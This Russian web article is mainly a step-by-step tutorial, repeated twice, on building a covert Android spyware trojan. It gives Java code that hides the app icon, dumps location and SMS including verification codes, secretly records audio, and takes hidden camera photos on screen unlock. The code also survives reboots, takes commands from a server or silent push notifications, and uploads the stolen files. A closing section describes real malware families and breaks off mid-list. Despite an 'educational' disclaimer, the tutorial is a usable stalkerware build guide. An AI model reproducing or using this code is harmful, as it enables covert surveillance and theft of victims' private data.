Как создать вирус на андроид

Как создать вирус на андроид

Как хакеры создают трояны для Андроид?

Как создать троян для Андроид

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Использовать его следует так:

Записи в файле будут выглядеть примерно так:

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

Использовать его можно, например, так:

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

И добавьте в манифест следующие строки:

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

И опять же добавим его в манифест:

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Создание трояна для Андроид по шагам

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) <

  • Запускаем сервис

startService(new Intent(this, MainService.class));

  • Отключаем Activtiy

ComponentName cn = new ComponentName(&#8220;com.example.app&#8221;, &#8220;com.example.app.MainActivity&#8221;);

pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) <

LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

long GPSLocationTime = 0;

if (null != locationGPS)

long NetLocationTime = 0;

if (null != locationNet)

if ( 0 < GPSLocationTime &#8211; NetLocationTime ) <

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + &#8220;/location&#8221;

OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

catch (IOException e) <>

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) <

String appsFile = context.getApplicationInfo().dataDir + &#8220;/apps&#8221;

final PackageManager pm = context.getPackageManager();

List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

PrintWriter pw = Files.writeLines(appsFile);

for (ApplicationInfo packageInfo : packages) <

> catch (IOException e) <>

private boolean isSystemPackage(ApplicationInfo applicationInfo) <

return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) <

SimpleDateFormat formatter = new SimpleDateFormat(&#8220;yyyy.MM.dd HH:mm:ss&#8221;, Locale.US);

Cursor cursor = context.getContentResolver().query(Uri.parse(&#8220;content://sms/&#8221; + box), null, null, null, null);

PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) <

String address = null;

String date = null;

String body = null;

for (int idx = 0; idx < cursor.getColumnCount(); idx++) <

String dateString = formatter.format(new Date(Long.valueOf(date)));

> catch (Exception e) <>

Использовать его следует так:

  • Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + &#8220;/sms_inbox&#8221;

dumpSMS(context, inboxFile, &#8220;inbox&#8221;);

  • Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + &#8220;/sms_sent&#8221;;

dumpSMS(context, sentFile, &#8220;sent&#8221;);

Записи в файле будут выглядеть примерно так:

Date: 2018.07.08 06:49:55

Body: [email&#160;protected] is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

void recordAudio(String file, final int time) <

MediaRecorder recorder = new MediaRecorder();

> catch (IOException e) <>

Thread timer = new Thread(new Runnable() <

public void run() <

> catch (InterruptedException e) <

Log.d(TAG, &#8220;timer interrupted&#8221;);

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(&#8220;yyyy-MM-dd-HH-mm-ss&#8221;, Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + &#8220;/audio-&#8220;;

recordAudio(filePrefix + formatter.format(date) + &#8220;.mp4&#8221;, 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

public class SilentCamera2 <

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;

private Surface previewSurface;

private CaptureRequest.Builder request;

private Handler handler;

private String photosDir;

public SilentCamera2(Context context) <

private final CameraDevice.StateCallback mStateCallback =

public void onOpened(CameraDevice cameraDevice) <

surfaceTexture = new SurfaceTexture(10);

previewSurface = new Surface(surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();

cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

> catch (Exception e) <

public void onDisconnected(CameraDevice cameraDevice) <

public void onError(CameraDevice cameraDevice, int error) <

private CameraCaptureSession.StateCallback mCaptureStateCallback =

public void onConfigured(CameraCaptureSession captureSession) <

captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

> catch (Exception e) <

public void onConfigureFailed(CameraCaptureSession mCaptureSession) <>

private CameraCaptureSession.CaptureCallback mCaptureCallback =

public void onCaptureCompleted(CameraCaptureSession session,

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

public void onImageAvailable(ImageReader reader) <

DateFormat dateFormat = new SimpleDateFormat(&#8220;yyyy-MM-dd-HH-mm-ss&#8221;);

Date date = new Date();

String filename = photosDir + &#8220;/&#8221; + dateFormat.format(date) + &#8220;.jpg&#8221;;

File file = new File(filename);

Image image = imageReader.acquireLatestImage();

ByteBuffer buffer = image.getPlanes()[0].getBuffer();

byte[] bytes = new byte[buffer.remaining()];

OutputStream os = new FileOutputStream(file);

> catch (Exception e) <

private void takePicture() <

session.capture(request.build(), mCaptureCallback, handler);

> catch (CameraAccessException e) <

private void closeCamera() <

if (null != session) <

if (null != device) <

if (null != imageReader) <

if (null != surfaceTexture) <

> catch (Exception e) <

public boolean takeSilentPhoto(String cam, String dir) <

CameraManager manager = (CameraManager)

String cameraId = null;

for (String id : manager.getCameraIdList()) <

Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

if (currentFacing != null && currentFacing == facing) <

> catch (Exception e) <

HandlerThread handlerThread = new HandlerThread(&#8220;CameraBackground&#8221;);

handler = new Handler(handlerThread.getLooper());

imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

manager.openCamera(cameraId, mStateCallback, handler);

  • Ждем фокусировку

> catch (Exception e) <

Log.d(TAG, &#8220;Can&#8217;t open camera: &#8221; + e.toString());

private int getOrientation() <

WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();

int deviceOrientation = 0;

int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;

return (sensorOrientation + deviceOrientation + 360) % 360;

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + &#8220;/camera/&#8221;

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver <

public static void set(Context context) <

AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

Intent intent = new Intent(context, Alarm.class);

PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

public void onReceive(Context context, Intent intent) <

  • Твой код здесь

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() <

void onReceive(Context context, Intent intent) <

  • Ваш код здесь

И добавьте в манифест следующие строки:

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() <

void onReceive(Context context, Intent intent) <

Intent serviceIntent = new Intent(this, MainService.class);

И опять же добавим его в манифест:

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = &#8220;//example.com/cmd&#8221;

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

Response response = client.newCall(request).execute();

String cmd = response.body().string();

  • Делаем аудиозапись

> catch (InterruptedException e) <>

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application <

public void onCreate() <

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService <

protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) <

String cmd = receivedResult.payload.body.trim()

  • Делаем аудиозапись
  • Не показывать уведомление

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(&#8220;image/jpeg&#8221;);

public void uploadImage(File image, String imageName) throws IOException <

OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

.addFormDataPart(&#8220;file&#8221;, imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

Request request = new Request.Builder().url(&#8220;//com.example.com/upload&#8221;)

Response response = client.newCall(request).execute();

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

5 самых опасных вирусов для Android

Начнём со «свежака» — Триаду сегодня можно считать самым новым и «пуленепробиваемым» вирусом для смартфонов. Его и обнаружили-то только в марте 2017 года.

Уникален он своей близостью к классическим вирусам, а не троянам-вымогателям, как это обычно бывает на Android. Вам всё же нужно умудриться подхватить его из «непроверенных источников», а вот дальше начинается гораздо весёлый «боевичок»:

Triada — вирус, который не просто хулиганит в системе, а вклинивается в её жизненно важные участки

  1. Triada включается после того, как вы установите и дадите разрешения вашей любимой качалке музыки из ВКонтакте, например. После программа втихаря выясняет модель вашего смартфона, версию прошивки и Android, объём свободного места на накопителях и список установленных приложений. И отправляет эту информацию в интернет , на свои серверы. Этих серверов огромное количество, они разбросаны в различных странах, то есть, даже приехать и устроить «маски-шоу» по местоположению сервера со зловредом не получится.
  2. В ответ Triada получает инструкции (прямо-таки, индивидуальный подход к пациенту!), как лучше спрятать себя конкретно в этой разновидности Android и этом смартфоне, внедряется в каждое (!) из установленных приложений и берёт контроль над системными компонентами , чтобы скрыть себя в списке установленных приложений и запущенных процессов. После этого отдельно стоящая в системе часть вируса «заметает» за собой следы — он больше не работает как отдельное приложение, а согласовывает свои действия с помощью кусочков заражённой системы.
  3. Готово, система завоёвана! С этого момента смартфон превращается в «марионетку», которой злоумышленники отдают команды на расстоянии и принимают информацию на любой из доступных серверов. Сейчас Triada действует примитивно — выясняет данные вашей банковской карты, снимает с неё деньги, достаёт из входящих SMS нужные для оплаты коды, «рисует» ложные цифры о балансе владельцу.

Но с возможностью «распотрошить» любое установленное приложение или установить новое на расстоянии это только «цветочки» — особенность «Триады» заключается в том, что это модульный вирус, к нему можно будет прикрутить самые разные виды дистанционных трюков.

Как видите, вирусы для Android — это не только примитивные «ваш телефон заблокирован, с вас сто баксов», от которых можно избавиться удалением приложения. И, если в новых версиях Android хотя бы усложнён доступ к получению root и можно увидеть что-то подозрительное на этапе запроса прав приложением, то старые версии (Android 4.4, 4.3 и старее) абсолютно беззащитны перед новой заразой — спасёт только полная перепрошивка.

Marcher

Так называемый «банковский зловред» был разработан ещё в 2013 году, но его «звёздный час» настал только летом 2016 года. Знаменит хорошей маскировкой и «интернационализмом», если можно так сказать.

Marcher представляет собой простой троян, который не проворачивает ничего сверхъестественного, а просто подменяет собой служебные страницы огромного количества банков с помощью всплывающих окон. Механизм следующий:

  • Троян проникает в систему вместе с заражённым приложением. Пик популярности Marcher пришёлся на «свежеукраденные» у Nintendo версии Super Mario Run. Если вы не помните, это такая супер-раскрученная «бегалка» от создателей Pokemon GO!
  • Ищет на смартфоне банковские приложения и приложения интернет-магазинов выбирает «заготовки» в соответствии с тем, каким банком вы пользуетесь.
  • Отправляет на смартфон «приманку» — сообщение в шторке уведомлений со значком банка/магазина и сообщением в стиле «на ваш счёт поступило N рублей»/«купон на скидку 75% для любого товара только сегодня!».
  • Владелец смартфона кликает на уведомление. После чего троян открывает точнейшую копию, страницу, 1-в-1 похожую на ту, что вы привыкли видеть в официальном приложении. И говорит что-то в стиле «соединение с сетью прервано, повторите ввод данных банковской карты».
  • Владелец смартфона вводит данные банковской карты. Тут-то денюжки тю-тю!

«Дружище, что-то я подзабыл номер твоей карты. Не напомнишь?»

Таким нехитрым образом троян подделывал процесс покупки авиабилетов, покупки товаров в интернет-магазинах и софта в Google Play и работу банковских приложений. Под раздачу попали пользователи банковских карт в Германии, Франции, Польши, Турции, США, Австралии, Испании, Австрии и Великобритании. Изначально вирус «точили» под Android 6.x, смартфонов под управлением других версий оказалось значительно меньше.

Даже не одиночка, а целый каскад троянов-«хамелеонов», не настолько криминально-суровых, как Triada, но в такой же степени болезненных для операционной системы. Антивирусные специалисты обратили внимание на зловредов в начале 2016 года, а в народ смартфоны зловред стал массово проникать уже в декабре 2016-го.

Loki — это такой организованный разбой по предварительному сговору в вашем смартфоне

Зловреды действуют настолько быстро и слаженно, что хочется аплодировать им стоя. Вы только взгляните на эту «многоходовочку»:

  • Первый троян попадает в систему с безопасным приложением и вместе с ним же запускается. После этого сразу «запрашивает подкрепление», то есть, скачивает из своих источников второго троянца и устанавливает его с пачкой инструментов для получения root-прав. Мониторит систему, ждёт, когда пользователь смартфона выключит дисплей, и в этом режиме добывает root. После чего запускает своего «коллегу».
  • Второй троян перехватывает root-права, получает доступ к разделу /system («заводским» файлам прошивки, которые сохраняются даже после сброса настроек), распаковывает из себя ещё парочку троянцев и распихивает их в «несгораемые» системные разделы.
  • Третий троян оживает в этом самом разделе /system, в котором подменяет собой часть системы, ответственную за загрузку, и удаляет стандартные «потроха» Android. Если каким-то чудом владелец удалит все предыдущие вирусы и доберётся до третьего по счёту Loki, с его удалением «умрёт» прошивка смартфона.
  • В это время четвёртый из каскада троянцев действует из защищенной системной папки, откуда скачивает ещё пачку вирусов, «крутит» рекламу или просто занимается накруткой счётчиков скачиваний приложений/посещений сайтов на инфицированном смартфоне. Блокирует скачивание и установку антивирусов, совершенствует свою защиту.

«Выкорчевать» из мозгов смартфона следы этой бурной деятельности невозможно, поэтому «лечится» заражение с помощью Loki только полной перепрошивкой с потерей всех данных.

Faketoken

Если предыдущие трояны намеренно действуют исподтишка, чтобы пользователь смартфона до последнего момента не догадывался о заражении, то Faketoken в своём подходе прост и прямолинеен, как опытный гопник — требует предоставить ему права на любые действия со смартфоном, а если владелец отказывается, в дело вступает алгоритм «слышь, ты чё не понял? Тогда я повторю!».

  1. Сначала пользователь вынужденно даёт права администратора вирусу
  • Устанавливаете вы, значит, приложение с привычным ярлычком с какого-нибудь сайта vasyapupkinsuperwarez.net. Запускаете, и после этого вас начинают «пытать».
  • Троян открывает системное окно с запросом прав администратора. В лучших демократических традициях у владельца смартфона есть два варианта — разрешить трояну доступ к системе, либо не разрешить. Но в случае отказа Faketoken снова откроет окно с запросом системных прав , и будет делать это постоянно, до тех пор, пока пользователь смартфона не капитулирует.
